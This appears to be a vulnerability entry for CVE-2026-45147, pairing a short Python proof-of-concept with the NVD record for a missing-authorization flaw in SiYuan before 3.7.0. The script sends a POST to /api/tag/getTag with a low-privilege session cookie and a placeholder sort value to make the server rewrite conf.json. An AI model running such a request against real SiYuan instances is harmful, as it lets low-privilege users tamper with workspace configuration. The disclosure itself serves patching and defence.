CVE-2026-45147

import requests # Target URL (example) target_url = "http://localhost:6806/api/tag/getTag" # Cookies representing a low-privilege authenticated user (e.g., RoleReader) # Replace 'YOUR_SESSION_TOKEN_HERE' with a valid session cookie cookies = { "siyuan_session_id": "YOUR_SESSION_TOKEN_HERE" } # The 'sort' argument is used to mutate model.Conf.Tag.Sort # The payload structure depends on the internal handling, but sending a modified sort triggers the write payload = { "sort": "modified_value_or_structure" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check if conf.json was modified.") print("[+] Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-45147", "sourceIdentifier": "[email protected]", "published": "2026-05-14T19:16:38.630", "lastModified": "2026-05-14T21:22:56.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user — including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace — can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json. This vulnerability is fixed in 3.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2", "source": "[email protected]"}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6r88-8v7q-q4p2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}